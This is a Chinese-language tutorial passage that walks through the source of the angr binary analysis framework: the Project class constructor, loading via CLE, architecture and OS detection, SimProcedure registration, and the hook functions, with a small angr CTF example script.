很早之前写了一个系列的文章叫《Angr-CTF从入门到精通》获得了不错的反响，随着大三上课程的结束，本人又投入了科研项目工作中，重新开始了对自动化二进制漏洞检测与利用的工程中，想着针对最新的Angr版本大致简单介绍一下Angr的源码，其中参考了一些前辈的工作，但我主要是想从另外一个角度进行条理化的解析，这个系列大致也可以叫《Angr源码阅读从入门到精通》，目前最后的想法是开发一个将符号执行与模糊测试相结合的框架，有点类似Driller软件
Angr框架的分析对象是二进制程序，不依赖程序源码，支持x86/64、ARM/AArch64，MIPS等多个架构，之前的版本更新还引入了Java的支持。Angr除了实现符号执行分析之外，还实现了控制流分析、数据依赖分析、后向切片、库函数识别等其他静态分析技术
Angr框架的总体架构包含如下几个部分：
* 加载器—CLE：用于解析加载二进制文件，识别文件格式，从ELF/PE头中提取架构、代码段和数据段等程序信息
* 架构数据库—Archinfo：根据程序架构信息，加载对应的CPU架构模型，包括寄存器、位宽、大小端等数据
* 翻译器—PyVEX：将程序机器码翻译成中间语言VEX，VEX是开源二进制插桩工具Valgrind所使用的中间语言，angr需要处理不同的架构，所以它选择一种中间语言来进行它的分析
* 模拟执行引擎—SimEngine：对VEX指令进行解释执行，支持具体值执行和符号值执行，执行时支持自定义函数Hook和断点，支持自定义路径探索策略
* 约束求解器—Claripy：将符号执行中生成的路径约束转化成SMT公式，使用Z3进行求解
* OS模拟器—SimOS：用于模拟程序与系统环境交互，提供了许多模拟的libc函数和系统调用，用户也可以自行编写Hook函数进行模拟
虽然Angr即支持具体执行也支持符号执行，但实际上Angr默认只支持静态符号执行，不支持动态符号执行。Angr的路径探索策略默认使用广度优先策略，通过用户设置的目的地址（find）和避免到达的地址（avoid）来减少待探索的路径，此外Angr也支持深度优先策略和其他的策略。不过由于Angr的可拓展性很强，因此可以自定义探索路径的具体规则，实现一种近似于动态符号执行的路径探索策略
在实际中，Fuzz测试缺少纵深，对于大规模深度高的复杂工程应用根本没有办法展开相关测试工作，如果要对大规模的应用工程中重复打桩，又降低了Fuzz的测试效率，倘若将大程序分拆未各个模块，模块又拆分，这样的话对于跨组件跨模块的复杂问题又无法发现。且Fuzz只能挖掘的漏洞大部分是运行时显示异常的漏洞，而现实中真正存在威胁的漏洞都是非显式的异常，且源代码分析检测工具已经将很多问题解决，Fuzz发挥的实际效果其实比较有限。总的来说Fuzz对于复杂应用也存在自动化程度低，复杂逻辑与复杂场景的漏洞无法检测，不能针对特定路径的特定漏洞做针对性的检测等问题
在目前的我所接触过的在实际中的应用环境下，符号执行一般是与模糊测试和污点分析等共同协作，符号执行负责对测试数据进行分析与优化，生成新的测试数据，使得模糊测试fuzz引擎能突破程序的浅层，不断探索未覆盖的路径分支
Fuzz依赖类似于KLEE或者Angr之类的符号执行技术提供覆盖率更好的路径和约束，来提供路径的覆盖率和精准定位路径的能力，这个的确是Fuzz技术发展和改进的方向。但正如我之前看同事的文章所言，目前采用的二进制分析方式做符号执行，在此基础上做路径分析，这样的情况适合于源代码不能提供的场景，也许更适合于病毒分析等恶意程序分析，但是在正常公司开发过程中没有源代码的情况还是比较少见的。且二进制代码没有源代码的高级语言结构化特征和类型特征，对于高级分析还是比较困难的
在现在的国际大环境中，各种情况都有可能发生，网络安全就是国家安全，而网络安全十分依赖于对漏洞情况的掌握，而我国目前还没有一款真正属于自己的自动化漏洞挖掘工具。且超越国家而言，对于目前的技术发展情况而言，自动化漏洞挖掘，或者说漏洞挖掘工具还有很长的一条路要走，希望各位读者中阅读了本人的拙劣的文章能有所获得，推动我们整个技术向前发展
阅读Angr源码不只是学习Angr这一种框架，更多是理解符号执行的整个周期流程的设计思维，可以举一反三，设计出更好的框架
本人的测试系统环境如下，学习符号执行建议使用大内存机器：
* CPU：AMD Ryzen 3700U
* RAM：32GB
* OS：Ubuntu 20.04 LTS
* Angr Version：v9.0.5610
我自己也曾在基于华为云的鲲鹏AMR服务器上建构了相关的Docker镜像环境，可以直接使用：
$ docker pull zeroaone2099/angr-aarch64:v1.0
Git仓库地址：
* [Angr-CTF从入门到精通](https://github.com/ZERO-A-ONE/AngrCTF_FITM)
* [Angr源码解析](https://gitee.com/zeroaone/comments-on-angr-source-code.git)
## 一、启航
本文章主要面向已经有过Angr使用的读者，如果有读者想知道Angr的基础用法可以移步至我之前写过的《Angr-CTF从入门到精通》，我们从一个最简单的Angr的例子开始我们的Angr源码阅读之路：
import angr
import sys
def Go():
path_to_binary = "./00_angr_find"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
print_good_address = 0x8048678
simulation.explore(find=print_good_address)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
我们不难发现每个Angr项目都是从类似这一行代码开始的
project = angr.Project(path_to_binary, auto_load_libs=False)
使用
angr的首要步骤就是创建Project加载二进制文件。angr的二进制装载组件是CLE，它负责装载二进制对象（以及它依赖的任何库）和把这个对象以易于操作的方式交给angr的其他组件。angr将这些包含在Project类中。一个Project类是代表了你的二进制文件的实体。你与angr的大部分操作都会经过它
我们就将从启动开始的Project类开始我们的Angr源码探索之旅
## 二、一切的开始-Project类
我们首先从源码文档的`_init_.py`开始看：
from .project import *
我们可以发现Project类是从源码文档的`project`文件里导入进来的，现在我们去`project`文件里查看一下
class Project:
def __init__(self, thing,
default_analysis_mode=None,
ignore_functions=None,
use_sim_procedures=True,
exclude_sim_procedures_func=None,
exclude_sim_procedures_list=(),
arch=None, simos=None,
engine=None,
load_options: Dict[str, Any]=None,
translation_cache=True,
support_selfmodifying_code=False,
store_function=None,
load_function=None,
analyses_preset=None,
concrete_target=None,
**kwargs):
...
在源文件的第49行我们就发现了关于Project类的定义，这里引用一下源码的说明：
"""
This is the main class of the angr module. It is meant to contain a set of binaries and the relationships between
them, and perform analyses on them.
:param thing: The path to the main executable object to analyze, or a CLE Loader object.
The following parameters are optional.
:param default_analysis_mode: The mode of analysis to use by default. Defaults to 'symbolic'.
:param ignore_functions: A list of function names that, when imported from shared libraries, should never be stepped into in analysis (calls will return an unconstrained value).
:param use_sim_procedures: Whether to replace resolved dependencies for which simprocedures are available with said simprocedures.
:param exclude_sim_procedures_func: A function that, when passed a function name, returns whether or not to wrap
it with a simprocedure.
:param exclude_sim_procedures_list: A list of functions to *not* wrap with simprocedures.
:param arch: The target architecture (auto-detected otherwise).
:param simos: a SimOS class to use for this project.
:param engine: The SimEngine class to use for this project.
:param bool translation_cache: If True, cache translated basic blocks rather than re-translating them.
:param support_selfmodifying_code: Whether we aggressively support self-modifying code. When enabled, emulation will try to read code from the current state instead of the original memory, regardless of the current memory protections.
:type support_selfmodifying_code: bool
:param store_function: A function that defines how the Project should be stored. Default to pickling.
:param load_function: A function that defines how the Project should be loaded. Default to unpickling.
:param analyses_preset: The plugin preset for the analyses provider (i.e. Analyses instance).
:type analyses_preset: angr.misc.PluginPreset
Any additional keyword arguments passed will be passed onto ``cle.Loader``.
:ivar analyses: The available analyses.
:type analyses: angr.analysis.Analyses
:ivar entry: The program entrypoint.
:ivar factory: Provides access to important analysis elements such as path groups and symbolic execution results.
:type factory: AngrObjectFactory
:ivar filename: The filename of the executable.
:ivar loader: The program loader.
:type loader: cle.Loader
:ivar storage: Dictionary of things that should be loaded/stored with the Project.
:type storage: defaultdict(list)
"""
### 2.1 参数分析
我们优先关注一下Project类的构造函数的参数：
* thing： 要分析的主要可执行对象的路径，或CLE Loader对象，这个是必须指定的参数
以下是可选的参数列表：
* default_analysis_mode：默认使用的分析模式， 默认为 ‘symbolic’
* ignore_functions：是一个函数名称列表，当从共享库导入后，列表里的这些函数不会被进入分析（调用将返回一个非约束值），简单来说就是传入一个要忽略的函数列表
> 默认情况下，angr 会使用 `SimProcedures` 中的符号摘要替换库函数，即设置 Hooking，这些 python
> 函数摘要高效地模拟库函数对状态的影响，以下简称sim，可以设置参数 `exclude_sim_procedures_list` 和
> `exclude_sim_procedures_func` 指定不想被 `SimProcedure` 替代的符号
* use_sim_procedures：是否使用符号摘要替换库函数，默认是开启的，但是因为sim是模拟库函数可能存在精确度和准确性问题
* exclude_sim_procedures_func：不需要被替换的库函数
* exclude_sim_procedures_list：不用sim替换的函数列表
* arch：目标架
* simos：确定 guest OS。创建了一个 `angr.SimOS` 或者其子类实例有以下定义：
* SimLinux
* SimWindows
* SimCGC
* SimJavaVM
* SimUserland
> angr使用一系列引擎（SimEngine的子类）来模拟被执行代码对输入状态产生的影响。源码位于 angr/engines 目录下
* engine：指定要使用的SimEngine引擎类型：
* | 名称 | 描述 |
| ———————— | —————————————————————————————— |
| `failure engine` | kicks in when the previous step took us to some
uncontinuable state |
| `syscall engine` | kicks in when the previous step ended in a syscall |
| `hook engine` | kicks in when the current address is hooked |
| `unicorn engine` | kicks in when the `UNICORN` state option is enabled and
there is no symbolic data in the state |
| `VEX engine` | kicks in as the final fallback. |
* translation_cache：布尔变量，如果为True，则缓存已转化的基本块，而不是重新转化它们，简单来说就 **是否开启对于基本块的缓存**
* support_selfmodifying_code：布尔变量。设定是否支持自修改代码。启用后，无论当前的内存保护如何，仿真都会尝试从当前状态而不是原始内存中读取代码
* store_function：一个函数，定义如何存储Project，默认为pickling方式（Python中的pickle，序列化对象并保存到磁盘中）
* load_function： 一个函数，定义如何加载Project，默认是unpicklink方式（也就是反序列化）
* analyses_preset：设置project的插件，定义在angr.misc.PluginPreset
在之后所有的参数将传递给加载器CLE类的Loader方法，angr 中的 CLE 模块用于将二进制文件载入虚拟地址空间，而CLE 最主要的接口就是
loader 类，在我们讲到CLE模块的时候，我们会深入解析它
通过 loader, 我们可以获得二进制文件的共享库、地址空间等信息，类似这样
>>> proj.loader
<Loaded true, maps [0x400000:0x5004000]>
>>> proj.loader.shared_objects
OrderedDict([('true', <ELF Object true, maps [0x400000:0x60721f]>), ('libc.so.6', <ELF Object libc-2.27.so, maps [0x1000000:0x13f0adf]>), ('ld-linux-x86-64.so.2', <ELF Object ld-2.27.so, maps [0x2000000:0x222916f]>)])
>>> proj.loader.min_addr
>>> proj.loader.max_addr
下面我们使用一个简单的例子来一起学习angr的构造过程：
测试源码：
#include<stdio.h>
int main(){
printf("Hi!Angr!\n");
return 0;
}
编译指令：
$ gcc 01.c -no-pie -g -o tes
一个Project有一些基础属性：它的CPU架构、文件名、入口地址
>>> proj.arch
<Arch AMD64 (LE)>
>>> proj.entry
4198480
>>> proj.filename
'./test'
接下来我们解析Project构造函数的执行流程
### 2.2 构造函数
#### 2.2.1 第一步
# Step 1: Load the binary
if load_options is None: load_options = {}
load_options.update(kwargs)
if arch is not None:
load_options.update({'arch': arch})
if isinstance(thing, cle.Loader):
if load_options:
l.warning("You provided CLE options to angr but you also provided a completed cle.Loader object!")
self.loader = thing
self.filename = self.loader.main_object.binary
elif hasattr(thing, 'read') and hasattr(thing, 'seek'):
l.info("Loading binary from stream")
self.filename = None
self.loader = cle.Loader(thing, **load_options)
elif not isinstance(thing, str) or not os.path.exists(thing) or not os.path.isfile(thing):
raise Exception("Not a valid binary file: %s" % repr(thing))
else:
# use angr's loader, provided by cle
l.info("Loading binary %s", thing)
self.filename = thing
self.loader = cle.Loader(self.filename, concrete_target=concrete_target, **load_options)
我们可以发现首先是在加载二进制文件，也就是对我们输入的二进制文件就行初始化处理，最终目的式获得一个 `cle.Loader` 实例
isinstance() 函数来判断一个对象是否是一个已知的类型，类似 type()
> isinstance() 与 type() 区别：
>
> * type() 不会认为子类是一种父类类型，不考虑继承关系
> * isinstance() 会认为子类是一种父类类型，考虑继承关系
>
>
> 如果要判断两个类型是否相同推荐使用 isinstance()
首先对加载的 `thing` 做判断，如果是一个 `cle.loader` 类实例，则将其设置为 `self.loader`
成员变量；否则如果是一个流，或者是一个二进制文件，则创建一个新的 `cle.Loader`。然后该 project 被放入字典
`projects`（从流加载的除外）
二进制的装载组建是CLE（CLE Load
Everything)，它负责装载二进制对象以及它所依赖的库，将自身无法执行的操作转移给angr的其它组件，最后生成地址空间，表示该程序已加载并可以准备运行
`cle.loader`代表着将整个程序映射到某个地址空间，而地址空间的每个对象都可以由一个加载器后端加载，例如`cle.elf`用于加载linux的32位程序
总而言之通过loader来查看二进制文件加载的共享库，以及执行对加载地址空间相关的基本查询
>>> proj.loader
<Loaded test, maps [0x400000:0xa07fff]>
>>> proj.loader.shared_objects
OrderedDict(
[('test', <ELF Object test, maps [0x400000:0x404037]>),
('libc.so.6', <ELF Object libc-2.31.so, maps [0x500000:0x6f14d7]>),
('ld-linux-x86-64.so.2', <ELF Object ld-2.31.so, maps [0x700000:0x72f18f]>), ('extern-address space', <ExternObject Object cle##externs, maps [0x800000:0x87ffff]>),
('cle##tls', <ELFTLSObjectV2 Object cle##tls, maps [0x900000:0x91500f]>)])
>>> proj.loader.all_objects
[<ELF Object test, maps [0x400000:0x404037]>,
<ELF Object libc-2.31.so, maps [0x500000:0x6f14d7]>,
<ELF Object ld-2.31.so, maps [0x700000:0x72f18f]>,
<ExternObject Object cle##externs, maps [0x800000:0x87ffff]>,
<ELFTLSObjectV2 Object cle##tls, maps [0x900000:0x91500f]>,
<KernelObject Object cle##kernel, maps [0xa00000:0xa07fff]>]
>>> hex(proj.loader.max_addr)
'0xa07fff'
>>> hex(proj.loader.min_addr)
'0x400000'
还可以检查一些程序是否开启保护方式
>>> proj.loader.main_object.execstack
False
>>> proj.loader.main_object.pic
False
#### 2.2.2 第二步
# Step 2: determine its CPU architecture, ideally falling back to CLE's guess
if isinstance(arch, str):
self.arch = archinfo.arch_from_id(arch) # may raise ArchError, let the user see this
elif isinstance(arch, archinfo.Arch):
self.arch = arch # type: archinfo.Arch
elif arch is None:
self.arch = self.loader.main_object.arch
else:
raise ValueError("Invalid arch specification.")
这里就是判断二进制文件的 CPU 架构，如果是自己指定，则从 archinfo 里匹配，否则从 `self.loader` 获取
> archinfo是一个Python的第三方库用来判断二进制文件的目标架构
#### 2.2.3 第三步
# Step 3: Set some defaults and set the public and private properties
if not default_analysis_mode:
default_analysis_mode = 'symbolic'
if not ignore_functions:
ignore_functions = []
if isinstance(exclude_sim_procedures_func, types.LambdaType):
l.warning("Passing a lambda type as the exclude_sim_procedures_func argument to "
"Project causes the resulting object to be un-serializable.")
self._sim_procedures = {}
self.concrete_target = concrete_target
# It doesn't make any sense to have auto_load_libs
# if you have the concrete target, let's warn the user about this.
if self.concrete_target and load_options.get('auto_load_libs', None):
l.critical("Incompatible options selected for this project, please disable auto_load_libs if "
"you want to use a concrete target.")
raise Exception("Incompatible options for the project")
if self.concrete_target and self.arch.name not in ['X86', 'AMD64', 'ARMHF']:
l.critical("Concrete execution does not support yet the selected architecture. Aborting.")
raise Exception("Incompatible options for the project")
self._default_analysis_mode = default_analysis_mode
self._exclude_sim_procedures_func = exclude_sim_procedures_func
self._exclude_sim_procedures_list = exclude_sim_procedures_list
self.use_sim_procedures = use_sim_procedures
self._ignore_functions = ignore_functions
self._support_selfmodifying_code = support_selfmodifying_code
self._translation_cache = translation_cache
self._executing = False # this is a flag for the convenience API, exec() and terminate_execution() below
if self._support_selfmodifying_code:
if self._translation_cache is True:
self._translation_cache = False
l.warning("Disabling IRSB translation cache because support for self-modifying code is enabled.")
self.entry = self.loader.main_object.entry
self.storage = defaultdict(list)
self.store_function = store_function or self._store
self.load_function = load_function or self._load
这里就是对相关的默认、公共和私有属性进行设置，我们可以首先发现对默认使用的分析模式和需要忽略替换的函数列表
if not default_analysis_mode:
default_analysis_mode = 'symbolic'
if not ignore_functions:
ignore_functions = []
之后的内容就是在对属性做检查，和对未基于特定值的参数使用缺省值
#### 2.2.4 第四步
# Step 4: Set up the project's hubs
# Step 4.1 Factory
self.factory = AngrObjectFactory(self, default_engine=engine)
# Step 4.2: Analyses
self._analyses_preset = analyses_preset
self.analyses = None
self._initialize_analyses_hub()
# Step 4.3: ...etc
self.kb = KnowledgeBase(self, name="global")
这里第四步主要是设置Project的各种插件，我们之前说到过CLE模块将自身无法执行的操作转移给angr的其它组件，这里就是对于CLE分析的一些组件的初始化
第一步设置的就是angr中最重要的Factory组件，factory有几个方便的构造函数，用于经常使用的常见对象，具体的情况可以查看后面的简介。这一步从参数、loader、arch
或者默认值中获取预设的引擎，创建了一个`angr.EngineHub` 类实例
第二步主要是从参数或者默认值中获取预设的分析。创建了一个 `angr.AnalysesHub` 类实例，angr
内置了一些分析方法，用于提取程序信息，接口位于 `proj.analyses.` 中
>>> proj.analyses.
proj.analyses.BackwardSlice( proj.analyses.Decompiler( proj.analyses.VFG(
proj.analyses.BasePointerSaveSimplifier( proj.analyses.DefUseAnalysis( proj.analyses.VSA_DDG(
proj.analyses.BinDiff( proj.analyses.Disassembly( proj.analyses.VariableRecovery(
proj.analyses.BinaryOptimizer( proj.analyses.DominanceFrontier( proj.analyses.VariableRecoveryFast( .....
这个初始化函数的原型是
def _initialize_analyses_hub(self):
"""
Initializes self.analyses using a given preset.
"""
self.analyses = AnalysesHub(self)
self.analyses.use_plugin_preset(self._analyses_preset if self._analyses_preset is not None else 'default')
而AnalysesHub的函数原型在这里，主要是提供分析方法，用于提取程序信息
class AnalysesHub(PluginVendor):
"""
This class contains functions for all the registered and runnable analyses,
"""
def __init__(self, project):
super(AnalysesHub, self).__init__()
self.project = project
@deprecated()
def reload_analyses(self): # pylint: disable=no-self-use
return
def _init_plugin(self, plugin_cls):
return AnalysisFactory(self.project, plugin_cls)
def __getstate__(self):
s = super(AnalysesHub, self).__getstate__()
return (s, self.project)
def __setstate__(self, sd):
s, self.project = sd
super(AnalysesHub, self).__setstate__(s)
之后就是在创建其它一些插件的类实例
#### 2.2.5 第五步
# Step 5: determine the guest OS
if isinstance(simos, type) and issubclass(simos, SimOS):
self.simos = simos(self) #pylint:disable=invalid-name
elif isinstance(simos, str):
self.simos = os_mapping[simos](self)
elif simos is None:
self.simos = os_mapping[self.loader.main_object.os](self)
else:
raise ValueError("Invalid OS specification or non-matching architecture.")
self.is_java_project = isinstance(self.arch, ArchSoot)
self.is_java_jni_project = isinstance(self.arch, ArchSoot) and self.simos.is_javavm_with_jni_support
这一步就是确定 guest OS。创建了一个 `angr.SimOS` 或者其子类实例
#### 2.2.6 第六步
# Step 6: Register simprocedures as appropriate for library functions
if isinstance(self.arch, ArchSoot) and self.simos.is_javavm_with_jni_support:
# If we execute a Java archive that includes native JNI libraries,
# we need to use the arch of the native simos for all (native) sim
# procedures.
sim_proc_arch = self.simos.native_arch
else:
sim_proc_arch = self.arch
for obj in self.loader.initial_load_objects:
self._register_object(obj, sim_proc_arch)
根据库函数适当地注册 simprocedures。调用了内部函数
`_register_object`，这个函数将尽可能的将程序中的库函数与angr库中的实现的符号摘要替换掉，
即设置 Hooking，这些angr实现的函数摘要高效地模拟库函数对状态的影响
* 第一步就是获取angr已经实现的符号摘要的库函数
* 然后就是分析我们的程序中的导入函数
* 如果我们之前传入了忽略的列表函数，将其标记不替换存档
* 如果已将其列入黑名单，就算没设置忽略，angr也不对其进行处理
* 如果与我们的simprocedure匹配，angr将替换它
* 然后快速过滤不在乎的符号
* 接下来就是替换符号的检查和替换过程
def _register_object(self, obj, sim_proc_arch):
"""
This scans through an objects imports and hooks them with simprocedures from our library whenever possible
"""
# Step 1: get the set of libraries we are allowed to use to resolve unresolved symbols
missing_libs = []
for lib_name in self.loader.missing_dependencies:
try:
missing_libs.append(SIM_LIBRARIES[lib_name])
except KeyError:
l.info("There are no simprocedures for missing library %s :(", lib_name)
# additionally provide libraries we _have_ loaded as a fallback fallback
# this helps in the case that e.g. CLE picked up a linux arm libc to satisfy an android arm binary
for lib in self.loader.all_objects:
if lib.provides in SIM_LIBRARIES:
simlib = SIM_LIBRARIES[lib.provides]
if simlib not in missing_libs:
missing_libs.append(simlib)
# Step 2: Categorize every "import" symbol in each object.
# If it's IGNORED, mark it for stubbing
# If it's blacklisted, don't process it
# If it matches a simprocedure we have, replace it
for reloc in obj.imports.values():
# Step 2.1: Quick filter on symbols we really don't care about
func = reloc.symbol
if func is None:
continue
if not func.is_function and func.type != cle.backends.symbol.SymbolType.TYPE_NONE:
continue
if func.resolvedby is None:
# I don't understand the binary which made me add this case. If you are debugging and see this comment,
# good luck.
# ref: https://github.com/angr/angr/issues/1782
# (I also don't know why the TYPE_NONE check in the previous clause is there but I can't find a ref for
# that. they are probably related.)
continue
if not reloc.resolved:
# This is a hack, effectively to support Binary Ninja, which doesn't provide access to dependency
# library names. The backend creates the Relocation objects, but leaves them unresolved so that
# we can try to guess them here. Once the Binary Ninja API starts supplying the dependencies,
# The if/else, along with Project._guess_simprocedure() can be removed if it has no other utility,
# just leave behind the 'unresolved' debug statement from the else clause.
if reloc.owner.guess_simprocs:
l.debug("Looking for matching SimProcedure for unresolved %s from %s with hint %s",
func.name, reloc.owner, reloc.owner.guess_simprocs_hint)
self._guess_simprocedure(func, reloc.owner.guess_simprocs_hint)
else:
l.debug("Ignoring unresolved import '%s' from %s ...?", func.name, reloc.owner)
continue
export = reloc.resolvedby
if self.is_hooked(export.rebased_addr):
l.debug("Already hooked %s (%s)", export.name, export.owner)
continue
# Step 2.2: If this function has been resolved by a static dependency,
# check if we actually can and want to replace it with a SimProcedure.
# We opt out of this step if it is blacklisted by ignore_functions, which
# will cause it to be replaced by ReturnUnconstrained later.
if export.owner is not self.loader._extern_object and \
export.name not in self._ignore_functions:
if self._check_user_blacklists(export.name):
continue
owner_name = export.owner.provides
if isinstance(self.loader.main_object, cle.backends.pe.PE):
owner_name = owner_name.lower()
if owner_name not in SIM_LIBRARIES:
continue
sim_lib = SIM_LIBRARIES[owner_name]
if not sim_lib.has_implementation(export.name):
continue
l.info("Using builtin SimProcedure for %s from %s", export.name, sim_lib.name)
self.hook_symbol(export.rebased_addr, sim_lib.get(export.name, sim_proc_arch))
# Step 2.3: If 2.2 didn't work, check if the symbol wants to be resolved
# by a library we already know something about. Resolve it appropriately.
# Note that _check_user_blacklists also includes _ignore_functions.
# An important consideration is that even if we're stubbing a function out,
# we still want to try as hard as we can to figure out where it comes from
# so we can get the calling convention as close to right as possible.
elif reloc.resolvewith is not None and reloc.resolvewith in SIM_LIBRARIES:
sim_lib = SIM_LIBRARIES[reloc.resolvewith]
if self._check_user_blacklists(export.name):
if not func.is_weak:
l.info("Using stub SimProcedure for unresolved %s from %s", func.name, sim_lib.name)
self.hook_symbol(export.rebased_addr, sim_lib.get_stub(export.name, sim_proc_arch))
else:
l.info("Using builtin SimProcedure for unresolved %s from %s", export.name, sim_lib.name)
self.hook_symbol(export.rebased_addr, sim_lib.get(export.name, sim_proc_arch))
# Step 2.4: If 2.3 didn't work (the symbol didn't request a provider we know of), try
# looking through each of the SimLibraries we're using to resolve unresolved
# functions. If any of them know anything specifically about this function,
# resolve it with that. As a final fallback, just ask any old SimLibrary
# to resolve it.
elif missing_libs:
for sim_lib in missing_libs:
if sim_lib.has_metadata(export.name):
if self._check_user_blacklists(export.name):
if not func.is_weak:
l.info("Using stub SimProcedure for unresolved %s from %s", export.name, sim_lib.name)
self.hook_symbol(export.rebased_addr, sim_lib.get_stub(export.name, sim_proc_arch))
else:
l.info("Using builtin SimProcedure for unresolved %s from %s", export.name, sim_lib.name)
self.hook_symbol(export.rebased_addr, sim_lib.get(export.name, sim_proc_arch))
break
else:
if not func.is_weak:
l.info("Using stub SimProcedure for unresolved %s", export.name)
the_lib = missing_libs[0]
if export.name and export.name.startswith("_Z"):
# GNU C++ name. Use a C++ library to create the stub
if 'libstdc++.so' in SIM_LIBRARIES:
the_lib = SIM_LIBRARIES['libstdc++.so']
else:
l.critical("Does not find any C++ library in SIM_LIBRARIES. We may not correctly "
"create the stub or resolve the function prototype for name %s.", export.name)
self.hook_symbol(export.rebased_addr, the_lib.get(export.name, sim_proc_arch))
# Step 2.5: If 2.4 didn't work (we have NO SimLibraries to work with), just
# use the vanilla ReturnUnconstrained, assuming that this isn't a weak func
elif not func.is_weak:
l.info("Using stub SimProcedure for unresolved %s", export.name)
self.hook_symbol(export.rebased_addr, SIM_PROCEDURES['stubs']['ReturnUnconstrained'](display_name=export.name, is_stub=True))
#### 2.2.7 第七步
# Step 7: Run OS-specific configuration
self.simos.configure_project()
执行 OS 特定的配置，函数原型在`./simos/simos.py`
def configure_project(self):
"""
Configure the project to set up global settings (like SimProcedures).
"""
self.return_deadend = self.project.loader.extern_object.allocate()
self.project.hook(self.return_deadend, P['stubs']['CallReturn']())
self.unresolvable_jump_target = self.project.loader.extern_object.allocate()
self.project.hook(self.unresolvable_jump_target, P['stubs']['UnresolvableJumpTarget']())
self.unresolvable_call_target = self.project.loader.extern_object.allocate()
self.project.hook(self.unresolvable_call_target, P['stubs']['UnresolvableCallTarget']())
def irelative_resolver(resolver_addr):
# autohooking runs before this does, might have provided this already
# in that case, we want to advertise the _resolver_ address, since it is now
# providing the behavior of the actual function
if self.project.is_hooked(resolver_addr):
return resolver_addr
base_state = self.state_blank(addr=0,
add_options={o.SYMBOL_FILL_UNCONSTRAINED_MEMORY, o.SYMBOL_FILL_UNCONSTRAINED_REGISTERS})
resolver = self.project.factory.callable(resolver_addr, concrete_only=True, base_state=base_state)
try:
if isinstance(self.arch, ArchS390X):
# On s390x ifunc resolvers expect hwcaps.
val = resolver(0)
else:
val = resolver()
except AngrCallableMultistateError:
_l.error("Resolver at %#x failed to resolve! (multivalued)", resolver_addr)
return None
except AngrCallableError:
_l.error("Resolver at %#x failed to resolve!", resolver_addr)
return None
return val._model_concrete.value
self.project.loader.perform_irelative_relocs(irelative_resolver)
### 2.3 Hook
angr的一大特色SimProcedure依赖于Hook功能，angr提供了以下几个常用的hook功能函数
def hook(self, addr, hook=None, length=0, kwargs=None, replace=False):
def hook_symbol(self, symbol_name, obj, kwargs=None, replace=None):
def _hook_decorator(self, addr, length=0, kwargs=None):
hook 用于将某段代码替换为其他的操作。其中参数 `hook` 是一个 `SimProcedure`
的实例，如果没有指定该参数，则假设函数作为装饰器使用。被 hook 的地址及实例 `hook` 被放入字典
`self._sim_procedures`。`hook_symbol()` 首先解析符号名得到对应的地址，然后调用 `hook()`
#### 2.3.1 hook()
用自定义的函数hook住一段代码。它用于内部提供库函数的符号，并用于插桩执行或修改控制流。当没有指定hook时，它将返回一个允许容易hook的函数装饰器
#
# Public methods
# They're all related to hooking!
#
# pylint: disable=inconsistent-return-statements
def hook(self, addr, hook=None, length=0, kwargs=None, replace=False):
"""
Hook a section of code with a custom function. This is used internally to provide symbolic
summaries of library functions, and can be used to instrument execution or to modify
control flow.
When hook is not specified, it returns a function decorator that allows easy hooking.
Usage::
# Assuming proj is an instance of angr.Project, we will add a custom hook at the entry
# point of the project.
@proj.hook(proj.entry)
def my_hook(state):
print("Welcome to execution!")
:param addr: The address to hook.
:param hook: A :class:`angr.project.Hook` describing a procedure to run at the given address. You may also pass in a SimProcedure class or a function directly and it will be wrapped in a Hook object for you.
:param length: If you provide a function for the hook, this is the number of bytes that will be skipped by executing the hook by default.
:param kwargs: If you provide a SimProcedure for the hook, these are the keyword arguments that will be passed to the procedure's `run` method eventually.
:param replace: Control the behavior on finding that the address is already hooked. If true, silently replace the hook. If false (default), warn and do not replace the hook. If none, warn and replace the hook.
"""
if hook is None:
# if we haven't been passed a thing to hook with, assume we're being used as a decorator
return self._hook_decorator(addr, length=length, kwargs=kwargs)
if kwargs is None: kwargs = {}
l.debug('hooking %s with %s', self._addr_to_str(addr), str(hook))
if self.is_hooked(addr):
if replace is True:
pass
elif replace is False:
l.warning("Address is already hooked, during hook(%s, %s). Not re-hooking.", self._addr_to_str(addr), hook)
return
else:
l.warning("Address is already hooked, during hook(%s, %s). Re-hooking.", self._addr_to_str(addr), hook)
if isinstance(hook, type):
raise TypeError("Please instanciate your SimProcedure before hooking with it")
if callable(hook):
hook = SIM_PROCEDURES['stubs']['UserHook'](user_func=hook, length=length, **kwargs)
self._sim_procedures[addr] = hook
首先我们来看看参数部分：
* addr：要Hook的地址
* hook：一个angr.project.Hook类，描述要在给定地址运行的过程。您也可以直接传递SimProcedure类或函数，它将为您包装在Hook对象中
* length：如果为Hook提供需要替换函数，则这是默认情况下通过执行Hook掉该函数后将跳过的字节数
* kwargs：如果为Hook函数提供的是SimProcedure对象，则这些是关于SimProcedure的关键字参数，最终将传递给过程的run方法
* replace：主要是控制如果发现地址已经被hook后的操作
* true：无提示地直接更换hook
* false：发出警告信息并不替换该hook（为缺省值）
* none：发出警告并替换该hook
self._sim_procedures[addr] = hook
> **callable()** 函数用于检查一个对象是否是可调用的。如果返回 True，object 仍然可能调用失败；但如果返回 False，调用对象
> object 绝对不会成功
被 hook 的地址及实例 `hook` 被放入字典 `self._sim_procedures`
之后还有一些其它函数
def is_hooked(self, addr):
"""
Returns True if `addr` is hooked.
:param addr: An address.
:returns: True if addr is hooked, False otherwise.
"""
return addr in self._sim_procedures
def hooked_by(self, addr):
"""
Returns the current hook for `addr`.
:param addr: An address.
:returns: None if the address is not hooked.
"""
if not self.is_hooked(addr):
l.warning("Address %s is not hooked", self._addr_to_str(addr))
return None
return self._sim_procedures[addr]
def unhook(self, addr):
"""
Remove a hook.
:param addr: The address of the hook.
"""
if not self.is_hooked(addr):
l.warning("Address %s not hooked", self._addr_to_str(addr))
return
del self._sim_procedures[addr]
#### 2.3.2 hook_symbol
现实情况中我们更喜欢提供函数名（也就是一种符号名）来指代地址，而不是直接提供地址，且在动态加载库中也更为实际，所以在angr中`hook_symbol()`
首先解析符号名得到对应的地址，然后再调用 `hook()`
def hook_symbol(self, symbol_name, simproc, kwargs=None, replace=None):
"""
Resolve a dependency in a binary. Looks up the address of the given symbol, and then hooks that
address. If the symbol was not available in the loaded libraries, this address may be provided
by the CLE externs object.
